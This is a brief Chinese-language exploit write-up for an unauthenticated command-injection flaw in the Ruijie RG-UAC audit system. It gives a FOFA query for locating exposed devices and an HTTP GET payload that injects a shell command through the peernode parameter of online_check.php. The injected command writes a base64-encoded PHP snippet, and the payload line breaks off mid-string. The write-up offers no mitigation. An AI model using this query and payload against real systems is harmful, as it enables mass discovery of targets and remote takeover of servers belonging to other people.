0x01 产品简介
锐捷RG-UAC统一上网行为管理审计系统是星网锐捷网络有限公司自主研发的上网行为管理与审计产品。该系统可以部署在网络的关键节点上,通过路由、透明、旁路或混合模式,对数据进行2-7层的全面检查和分析。它深度识别、管控和审计数百种常见的应用,包括IM聊天软件、P2P下载软件、炒股软件、网络游戏应用、流媒体在线视频、移动应用、网络存储等。
0x02 漏洞概述
锐捷RG-UAC统一上网行为管理审计系统存在命令注入漏洞,未授权的攻击者可以通过该漏洞执行任意代码,控制服务器。
0x03 测绘语句
测绘语句:fofa:title="RG-UAC登录页面"
0x04 漏洞复现
GET /view/vpn/autovpn/online_check.php HTTP/1.1
出现如下图响应证明存在漏洞
payload:GET /view/vpn/autovpn/online_check.php?peernode=%20|%20`echo%20PD9waHAgcGhwaW5mbygpOw==